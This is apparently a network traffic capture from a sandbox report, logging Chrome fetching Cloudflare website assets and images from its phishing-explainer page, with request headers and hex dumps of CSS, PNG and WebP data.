69 Data Ascii: 16px;font-weight:600}.tab-arrow{color:#f63;float:left}.hero-section-top{margin-bottom:60px;min-height:400px}.hero-section-top .row{max-height:400px}.hero-media{height:308px;overflow:hidden;position:relative}.hero-media img,.hero-media video{height:100%;wi
2024-10-18 13:48:01 UTC	1369	IN	Data Raw: 2e 6c 68 2d 63 6f 70 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 66 36 33 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 30 70 78 29 7b 2e 68 65 72 6f 2d 70 72 6f 6d 6f 74 69 6f 6e 61 6c 2d 62 61 6e 6e 65 72 2d 77 72 61 70 70 65 72 20 2e 6c 65 61 72 6e 2d 6d 6f 72 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 7d 7d 2e 68 65 72 6f 2d 70 72 6f 6d 6f 74 69 6f 6e 61 6c 2d 62 61 6e 6e 65 72 2d 77 72 61 70 70 65 Data Ascii: .lh-copy{background-color:initial!important;color:#f63!important;font-weight:500!important;margin-right:24px;padding-right:0!important}@media (min-width:1000px){.hero-promotional-banner-wrapper .learn-more{margin-left:24px}}.hero-promotional-banner-wrappe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	50701	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:01 UTC	885	OUT	GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:02 UTC	962	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:01 GMT Content-Type: image/png Content-Length: 34038 Connection: close Accept-Ranges: bytes Cache-Control: public, max-age=0, must-revalidate ETag: "f881ce0909c7585c5f12986f7499f9db" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Smtqqku1v%2BobFEBMMqz%2BoTvec0MEtP0F2GRMtLgm9a29m2Rc%2BkbHPcXG7q2h4pmOBwHDQQQlseVXf4BSfyEbj%2F8lNhYZiXi8gF0P8EFi%2BXVjXYr7Wuzmv9RVoOSR%2B82h7FxrCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbd01cb6e5a5-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:02 UTC	407	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 73 00 00 04 68 08 03 00 00 00 bb 00 fa da 00 00 01 b6 50 4c 54 45 ff ff ff 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f0 f0 df df e0 c5 c4 c6 be bd bf ab ac ae 99 9c 9e 9f a1 a3 cb ca cb f7 f8 f8 ff Data Ascii: PNGIHDRshPLTEqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 8d 8b 8c b6 b3 b4 de dc dc ca c7 c7 7e 7c 7c 88 86 86 fd fd fe f5 f4 f4 dc db dc c9 c7 c6 a6 a3 a3 86 84 84 f5 f4 f4 71 71 71 71 71 71 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 54 2b 19 33 00 00 00 92 74 52 4e 53 00 bb ff 44 22 77 88 dd ee 11 66 99 aa cc 55 33 20 40 50 80 60 90 e0 ff 10 a0 30 f0 d0 70 b0 c0 20 70 c0 a0 60 30 80 b0 90 d0 10 f0 e0 40 50 40 30 60 80 c0 ff f0 b0 50 20 e0 a0 10 d0 90 ff ff ff ff ff ff ff ff ff 70 ff ff ff ff ff 40 a0 d0 ff f0 c0 60 ff 10 b0 30 e0 ff 20 80 50 70 90 ff ff ff ff ff ff ff ff ff ff ff ff c4 f3 ff 88 98 f8 fd ff ff 3d b2 ff ff ff ff ff ff fc 2e 88 e6 f3 ff ff ff ff ff dc d8 97 40 ff 30 c0 20 80 10 60 90 e1 90 d0 0d 00 00 82 5d 49 44 41 54 78 01 ec d6 05 01 00 30 0c 00 a0 59 ff Data Ascii: ~\|\|qqqqqqT+3tRNSD"wfU3 @P`0p p`0@P@0`P p@`0 Pp=.@0 `]IDATx0Y
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 46 f7 de 0e 9e 21 c7 01 51 27 68 be 2b bb 72 08 52 ab eb da de d6 39 44 44 44 a4 8c d0 05 67 3e 16 3e cd f7 81 73 9a 57 68 76 ac 6e 9d a3 64 58 ec 43 9f 69 fc d2 39 68 6d 61 40 dc 09 9c 93 af 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 04 ab dd 64 f0 f3 15 e1 30 7f 1b 0c 54 83 0d 60 5f f6 1c 75 0e db ea 36 b3 b2 70 ea 5e ee 1c 63 8d 0a 02 82 4e 30 51 b9 2d 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 0a 53 fc 24 8b 67 60 d9 be 0f 76 07 18 7d 37 db a0 a9 30 03 07 df ec d6 39 6c 00 f6 da 4d 3c 7f ee 3e fd 7a 0f a9 3b 1f 06 b7 2a 0a 08 3a 41 f1 0c fc c3 9e 5d e0 48 12 02 00 14 a5 dd 5d a8 f6 fb 9f 72 dd 97 11 32 30 fa 5e 3c 55 58 8c 9f 30 e8 75 c3 ef 84 48 cd fa 4b ea 6c 9a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 8c e5 6a bd f9 d0 b6 Data Ascii: F!Q'h+rR9DDDg>>sWhvndXCi9hma@Vsd0T`_u6p^cN0Q-VsS$g`v}709lM<>z;*:A]H]r20^<UX0uHKl>j
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: f7 73 ac 73 0e 9b de d0 00 dd 57 59 63 1a 29 e0 e8 1c 84 d0 39 e8 1c e4 69 9c 11 e7 74 88 68 c3 ee e5 1d 71 3e 64 6b f8 6d bf d2 39 52 00 63 c5 62 e7 b8 f9 3a 2d 0d df 6d 71 d1 ea 69 e7 b0 e9 0d 17 dd 68 80 ce 34 2a 01 68 64 24 9d 83 10 3a 07 9d 83 3c c4 1e b3 9c de 8e 3b b1 9c 5f df 31 cf 51 b6 86 de 3e 91 bd 5f fe 3e 87 2f c9 b1 cc 39 2a 00 99 9f 1b 7f de 8a af 8e 3a 87 4d 6f 70 70 97 7f 03 f6 79 2b 76 24 9d 83 10 3a 07 9d 83 3c cc 19 cb f8 78 7b fd 73 96 2b bb f3 f1 d7 7e e9 c1 6d 3e 57 b6 ee e4 93 4c 6b e8 d2 2d eb 06 4f d0 16 0b 9d 23 03 d0 7e 9d be 74 68 fd 53 5d 1b 00 85 c4 ab ad 73 4c a7 37 e4 40 3d 7d cb 24 73 c3 93 6d 33 6d d4 8c a4 73 10 42 e7 a0 73 90 47 d8 e3 d9 1c 65 6b 64 05 46 96 3b 87 62 a4 6e a3 ce e1 69 86 7a 33 b7 c8 24 5e 6d 9d 63 3a Data Ascii: ssWYc)9ithq>dkm9Rcb:-mqih4hd$:<;_1Q>_>/9:Moppy+v$:<x{s+~m>WLk-O#~thS]sL7@=}$sm3msBsGekdF;bniz3$^mc:
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: db 5e e3 ad ae 7e 58 9d 1d 5f ec f3 56 bb a4 2b a8 ff ac 2a 76 db 20 00 85 cd 11 b1 b3 41 f2 fd 49 67 31 e9 ad 63 93 68 0e 59 60 1a dd e0 b9 ec c6 0e b7 9d 1e 9c 58 3d 9c 9c f3 16 6b db a4 25 a8 df 56 95 7b a8 13 80 b2 e6 08 cb df ac 4c b0 9e 26 a4 6f 57 02 68 0e 49 50 32 46 cb 24 df 5a aa b4 16 c7 b1 25 c8 54 c7 8e 9e d1 01 77 55 0f dc 10 80 b2 e6 88 48 1f 3f 44 13 ac a7 88 f4 6f 8a a1 39 c0 e7 0f 65 85 a2 16 c9 71 75 62 49 b8 fc 85 e8 d0 dc 7d d5 0b 35 02 50 d5 1c 61 f9 31 8b 10 eb 23 2c 9d 09 01 34 07 f8 fc a1 ac 90 f3 7f 72 9c fe b0 24 1d 22 3a f4 f6 f3 3d 09 ee eb ea a2 a6 56 7d f3 48 00 8a 9a 23 22 5b 0c e2 8f f6 10 91 7e 20 13 42 73 80 8c b2 31 72 25 df 27 c7 fe b1 25 ed f2 17 a2 43 67 ef d3 1c 3f 49 9d a7 ea 1f ae 09 40 4d 73 04 a5 83 81 26 58 5f Data Ascii: ^~X_V+*v AIg1chY`X=k%V{L&oWhIP2F$Z%TwUH?Do9equbI}5Pa1#,4r$":=V}H#"[~ Bs1r%'%Cg?I@Ms&X_
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 38 c5 3e a5 c2 51 22 34 87 07 30 40 8a 31 52 fe e1 47 9f e5 1c 96 6c 73 1c f0 77 3b 04 fa 36 87 f3 e8 b0 d7 72 a0 39 10 1d 2a 9a 43 c1 fb 91 68 70 2a f4 66 4a fc 7e 34 87 4b 60 d6 f0 b3 b2 2f 9e ad 1c 59 12 fe 22 9a 43 62 88 f4 0e fc e9 55 b2 39 1c bd 99 b5 ff a8 5c 73 34 ee c0 e7 fe e3 3f d5 45 87 f2 e6 50 af fb f2 73 34 07 2c 18 be 56 2a f8 61 0b a9 e5 56 73 1c f1 0f 55 f0 a7 3b e9 e6 b0 4b 42 7e 2d 87 64 73 5c 57 41 2b ce a3 03 cd 81 e6 c0 cd 8a 4f cd a1 39 c0 97 cd 61 0f 69 c8 ae e5 40 73 20 3a 34 6d 0e dc ad a8 87 9b 15 dc ae 28 68 0e f1 58 f6 bf aa a0 7d 73 d0 cf 66 74 5c 4b ac e5 78 22 34 07 a2 c3 b7 33 a4 68 0e c0 cd 8a 50 2a e8 df 1c 36 fd 9b 03 cd 61 7f 7a 45 b8 ef bb 96 a3 5a 7b 46 73 a0 39 7c f1 56 56 bd 28 9a 43 02 6e 56 70 bb 82 e6 00 f9 e6 Data Ascii: 8>Q"40@1RGlsw;6r9ChpfJ~4K`/Y"CbU9\s4?EPs4,VaVsU;KB~-ds\WA+O9ai@s :4m(hX}sft\Kx"43hP6azEZ{Fs9\|VV(CnVp
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 70 eb 98 63 8b f4 82 e6 b0 df be 4a a8 ff 6c 90 04 fb e5 2d 9a 03 d4 35 07 25 bb 1c 3b 04 99 5b a8 4d 98 09 53 68 0e 24 87 c4 20 85 50 58 98 2b 19 de c9 cc 88 e2 19 68 ac 24 eb c1 14 e9 2f b7 8e 39 16 49 43 68 8e 57 72 db 13 9a 03 94 37 87 dd 00 21 97 97 73 74 6e 99 08 13 02 68 8e 31 53 28 0d 32 4d 91 27 5b 3a 97 9d f7 a2 37 cc 32 09 83 4e 94 98 a4 cc 76 45 fe e9 8a cc a3 95 55 d2 0f 9a a3 a6 a2 0a 1a 0f 68 0e 50 dc 1c 51 26 24 a2 6a 9a 23 d8 39 14 a6 09 cd 31 66 e6 8c 81 94 66 d2 d4 a2 b0 60 66 8a 86 2a f3 d9 99 3c b5 5a c8 0e f8 cb ca a4 cc 0a ff 70 7a 62 0d e1 88 e3 98 43 43 f6 07 e8 55 a8 bf a2 39 40 6d 73 50 8c 09 21 0f 9a 23 c5 84 30 9a 63 cc 94 87 28 01 71 da 21 a4 17 cc d9 79 c3 55 c5 cc dc 4c 99 da 14 06 09 0e 21 43 ca 6c 6f ba 30 46 7a bc 87 63 Data Ascii: pcJl-5%;[MSh$ PX+h$/9IChWr7!stnh1S(2M'[:72NvEUhPQ&$j#91ff`f*<ZpzbCCU9@msP!#0c(q!yUL!Clo0Fzc
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: a9 00 00 cd 71 8d a7 e7 64 4c 2b 11 9a 63 72 c8 8e 5a 4b 01 00 9a e3 6a 8b 4f de ca 41 73 c0 df d5 22 8b 65 c2 01 80 e6 18 cb 6c 9d 8c e3 b0 91 cb d0 1c 48 b3 63 63 be be ba ea 9c 00 00 cd 31 9a cd 2a 19 c1 7e 29 43 d0 1c 28 bf 76 77 b4 79 91 0a 00 d0 1c 23 db 1d 92 6b 6d 37 42 73 20 a6 3b da 2f 39 df a0 37 00 d0 1c b7 b2 5c 27 d7 38 cc 24 12 cd 81 b4 ab ac f9 32 da a3 7a 01 00 9a e3 86 36 8b 7d 12 6b 3d 93 eb d0 1c 28 0b b5 8d f9 b7 ea a3 7a 27 03 00 00 cd 11 5b 1d 71 b3 8e c3 5c 46 41 73 c0 79 cd ff 49 79 b4 56 0b 2f 11 00 80 e6 88 b4 7c 4e 86 da ce 24 0e cd 01 0d 1f 0b 71 be 50 6b cd a7 68 6c ae 5d 19 9c bb e4 ad 17 00 a0 39 6e 67 b7 dd 27 97 5b bf 3c 49 2c 9a 03 6a 4e ea 3c 2b 25 c4 f9 4e 2b 6b 6f d5 1a 47 cd fc b9 2f fe b6 cc e3 05 00 68 8e 9b 9a 5f Data Ascii: qdL+crZKjOAs"elHcc1*~)C(vwy#km7Bs ;/97\'8$2z6}k=(z'[q\FAsyIyV/\|N$qPkhl]9ng'[<I,jN<+%N+koG/h_
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 00 00 00 00 c0 10 37 87 f2 9b 01 70 8e 88 a1 ff 15 ef 02 99 03 40 3f fe a5 5d 1c ae f1 4d 27 73 fc 3d 00 a6 b8 19 1b 8b 6b 17 be c4 aa bc 22 bf eb 75 30 c6 77 b3 cc f1 d7 00 a8 b1 ea cb 46 1f ab 2a 73 fc 1e f4 71 37 fe 35 99 03 80 25 56 73 2b 87 fc 9e d9 0a d4 b8 eb fa c6 85 b9 da 5e fa f3 32 07 80 e1 ca 18 37 87 e7 ef 06 cd 4d 3f bf 0b 5e 76 88 7f 5c 1b 19 b9 ee 97 fe 88 cc 01 40 8d 9b ae 35 5a 79 e0 d3 9a 3e 24 a7 b8 19 bb 46 16 38 7f ac b5 f3 1f 9b 39 00 0c 57 ae b1 ea cb 43 b9 e9 c3 67 e6 e0 79 6c d4 61 f7 b1 d6 ba 3f 2b 73 00 18 ae 9c 1b a3 95 87 72 d3 87 cf 2c c9 be c6 87 c2 9a 5b 4b 32 c7 9f 0a 30 5c e9 bb 97 9a f8 cf 37 7d 48 96 b8 99 4a ff fd df 7f 5d 63 ab bd b4 3a d6 21 56 b5 96 9d 63 3d c4 cd 54 af cd cc 31 ec 36 cc cc f5 12 ff d7 d5 79 9f 53 Data Ascii: 7p@?]M's=k"u0wF*sq75%Vs+^27M?^v\@5Zy>$F89WCgyla?+sr,[K20\7}HJ]c:!Vc=T16yS
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 7a 2c ab c6 d2 75 ad b9 4b 5d 03 42 b7 0b 07 f5 1c ab a1 f6 cd 02 3d 75 39 7b f7 f7 37 5c 6a fd d4 bd b2 00 86 2b 63 69 67 8e 76 cb 6e 37 fd af ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 63 ef 5e d6 93 68 ba 36 8e af 8b f9 77 0e 1a 4d 34 31 09 20 ab 25 6c c2 ae a1 03 05 c3 4c 18 69 e2 93 3c ea ec 8b ef 7e 73 ee af 5a 80 a0 49 ba a0 2b 5a 74 fe bf 63 e0 ea eb a6 6a d5 ba 4f 8a d5 d7 56 b5 78 22 00 00 00 de 95 ce ea 4d 5d d5 ac 9f 95 04 00 00 c0 9b 6a bd a6 b7 8b ea 55 01 00 00 f0 e0 e4 34 d2 fb 44 f5 92 64 03 00 00 50 ac 68 Data Ascii: z,uK]B=u9{7\j+cigvn7c^h6wM41 %lLi<~sZI+ZtcjOVx"M]jU4DdPh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	50702	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:02 UTC	858	OUT	GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:02 UTC	865	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:02 GMT Content-Type: image/webp Content-Length: 2784 Connection: close CF-Ray: 8d48fbd3fb8ce7d3-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 306218 Cache-Control: max-age=604800 Content-Disposition: inline; filename="card-new.webp" ETag: "f4eb2a2f745f8799e3e6f6478ab2305d" Last-Modified: Wed, 21 Aug 2024 18:12:19 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=3908 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yIO8FaXAOqj0fYuz%2FPQrizBkFrc%2BV%2BmYlrEsV3oiQLl5SEK%2F25q1s%2FZOClzo3nS8398SpTLECQ%2FcWrzWYWiKidtOzBOw%2Fd%2B5ZOBHeEgqQGyOAqXgqRVnk%2Ffdzr2Dq7FnCVjG19YgTSYUc72K1yE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:02 UTC	504	IN	Data Raw: 52 49 46 46 d8 0a 00 00 57 45 42 50 56 50 38 4c cc 0a 00 00 2f 36 41 2b 10 19 45 6d db 40 ca 3b e5 cf 78 27 82 88 fe a7 7c aa 82 85 6c 14 b4 6d c3 18 44 f9 b3 ed 0e 03 c2 6c a3 22 ec 79 fe 64 87 22 16 4c f1 ce 70 ea bf c2 b6 6d 90 c2 78 8f a0 19 e1 43 91 fa 33 06 70 5d b2 c4 db 6d db 7a db d6 b6 36 41 8a ce ff ff 15 f9 b8 7e 5e 5e 31 59 8a 8c 97 89 f1 32 99 8f 1d ea 22 3b 0d 2d aa 38 6c db 46 92 e8 fb af ff 76 07 23 c8 91 24 29 92 3c 97 05 da 83 e7 e9 2f 0f 63 38 a8 ad 2d 68 ae 0d 8c 40 83 11 61 24 d8 9a e8 12 08 0d a4 89 26 70 11 fe 08 44 20 02 2d da 76 eb b6 91 d4 76 3c 12 20 5f 00 97 97 20 f3 fc 2e 2c 00 7e ef fe 1e ec 73 ed ff 7b b5 84 2d e7 15 30 38 8b 81 e5 29 58 9f 32 c2 35 00 98 bf 01 57 80 14 31 0d 91 16 d0 06 a2 b4 b8 3e 4f ad 30 26 00 fe d7 cb Data Ascii: RIFFWEBPVP8L/6A+Em@;x'\|lmDl"yd"LpmxC3p]mz6A~^^1Y2";-8lFv#$)</c8-h@a$&pD -vv< _ .,~s{-08)X25W1>O0&
2024-10-18 13:48:02 UTC	1369	IN	Data Raw: 93 4a cc 58 4e 53 dd b1 26 92 6a b1 d5 84 d9 ec f5 9c 41 af 57 ae 52 21 e0 de 8e 8a 39 f8 ce f4 93 98 03 b1 27 be e9 17 05 01 a9 49 f7 14 ed db 98 2d 4d ff 30 bb 7e a5 8e da de 49 92 02 08 58 cc 89 33 22 e1 5d 62 29 d1 a2 06 92 a0 26 89 a5 bd 80 de 28 84 7b 53 45 e6 b6 61 65 ad a9 f8 9d dc 3b 00 a7 b6 6d 4d b3 14 64 36 ed a4 fa da c2 6b b4 e5 d4 d6 96 da 4c a5 94 3d 50 83 bd 15 d5 bf 10 4d a7 97 2e ea 1f 03 f5 81 fb 36 c4 ec ca 6c ca 7e d0 64 df 0e b1 62 f3 e4 90 4b 3e 33 ab 4e bb 7a d2 2e 34 ad 64 ca 75 38 c6 2d 7e 64 9e ec a6 a8 99 4a 14 7b a6 3a fb 66 d8 0d d8 d5 8c 2c a2 d2 66 0e 85 db b0 ec 3e a9 b8 29 84 b5 85 cd 16 5f 85 09 90 21 c8 15 11 61 94 da ef 2e c3 9a 39 15 9f fe c8 e9 9e 46 35 89 01 bd 19 e1 47 f7 de b0 98 21 a9 0d 80 89 34 2c 64 d3 e0 35 Data Ascii: JXNS&jAWR!9'I-M0~IX3"]b)&({SEae;mMd6kL=PM.6l~dbK>3Nz.4du8-~dJ{:f,f>)_!a.9F5G!4,d5
2024-10-18 13:48:02 UTC	911	IN	Data Raw: b3 d5 57 3d 90 cf 6c 60 1e 6f cd 45 8e cd 08 f7 ad 21 48 ba 99 f2 39 3f 8f ef 0b 1e 2d c1 58 af 79 a5 ee 8c e6 e8 dc e1 e3 fb 07 68 f5 51 e8 4d 29 50 c5 8d 14 83 f9 f1 fa be 80 76 d4 e6 06 20 aa e8 dd 06 53 30 d8 7c 97 51 32 c2 77 f3 56 c5 0d 93 cf 16 24 af fb c1 18 1f ba 96 74 cb e4 73 ed 38 2e 71 bc c2 7c b0 5f ea bc 18 58 82 79 dc 8f 23 cc 0f 4d a1 2a cc 78 18 3d ab 09 14 fd 82 2f 30 d0 0f 9a 11 e4 23 06 dd d5 12 7e bf 35 67 19 cc 30 22 fd 68 1e 29 34 39 bb b1 4b f8 38 c7 a5 39 4b b0 9f 65 24 28 b2 d4 f5 02 0c 3f ce cd 17 67 39 8b 72 0a ea bf 7c 6e 46 73 9c e2 d2 9c 04 18 30 bb 17 e7 e8 91 18 c4 aa f3 e3 e3 1c 0f 80 1b ec fd 16 be b7 45 0c d6 71 3c be 3e d6 7d 83 d8 54 dc 2e 5b 80 c7 f9 f2 26 f7 a8 bf 9e 61 9a 71 9f 71 79 fd f8 fa 3a 0b 11 f5 55 b2 65 Data Ascii: W=l`oE!H9?-XyhQM)Pv S0\|Q2wV$ts8.q\|_Xy#M*x=/0#~5g0"h)49K89Ke$(?g9r\|nFs0Eq<>}T.[&aqqy:Ue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	50703	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:02 UTC	860	OUT	GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:02 UTC	861	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:02 GMT Content-Type: image/webp Content-Length: 2238 Connection: close CF-Ray: 8d48fbd41a2b2845-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 154527 Cache-Control: max-age=604800 Content-Disposition: inline; filename="banner-new.webp" ETag: "a9df8b6f62f4aeb1b4699a2ae4b291bb" Last-Modified: Thu, 22 Aug 2024 13:46:01 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=3127 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cqqvVH4W4TU5T5nme5D7xPsY9O5%2FrMyckRbd%2FYl7%2FS1JvzN8mVunC%2B5a%2FxxwQ5tacUETuohSN2om9zSDygwlMejgfpiYSMPcHyDyK7%2FwWQKopRZg633ruVSc46hRsv7cNNjm23Xx3iT2RnQ0Bqw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:02 UTC	508	IN	Data Raw: 52 49 46 46 b6 08 00 00 57 45 42 50 56 50 38 4c aa 08 00 00 2f 99 82 15 10 19 45 6d db 40 ca 3b e3 8f f8 1e 82 88 fe 4f 80 3c 36 b1 09 c4 86 4c da 26 fe 6d af d7 14 08 04 92 11 f2 a7 1b 65 10 fa 2f 24 48 b0 39 45 8e 59 a1 1f 18 05 25 49 92 e3 48 92 1b 7a 99 ff bf 62 8e f3 bc 7d 18 22 45 00 64 82 11 0e f6 8d 61 db b6 61 e8 b5 ff 5f 5c 4c 90 23 49 52 24 79 2e 0b b4 07 cf d3 5f 1e c6 70 50 5b 5b d0 5c 1b 18 81 06 fb 23 cc 04 5b 13 5c 02 a4 81 34 c1 04 2e 02 11 88 60 04 48 90 e4 c6 6d 24 e7 8e 52 0b 70 b1 5c 40 b9 de 62 11 04 e1 f7 ee 6f ec 13 fd 7f c3 92 90 e0 0c 08 3e cf 40 1e f8 c9 4f 70 3f 30 d0 5f b7 02 77 8a b3 66 70 30 d4 46 7c c7 2a 66 07 e0 8f 5e d6 3f bd 16 65 df 14 ed cd 51 1e d4 66 b1 c3 c8 d8 ce df fc 54 f1 7c 3d fd d9 db 2d 85 6d d6 07 8c 15 31 Data Ascii: RIFFWEBPVP8L/Em@;O<6L&me/$H9EY%IHzb}"Edaa_\L#IR$y._pP[[\#[\4.`Hm$Rp\@bo>@Op?0_wfp0F\|*f^?eQfT\|=-m1
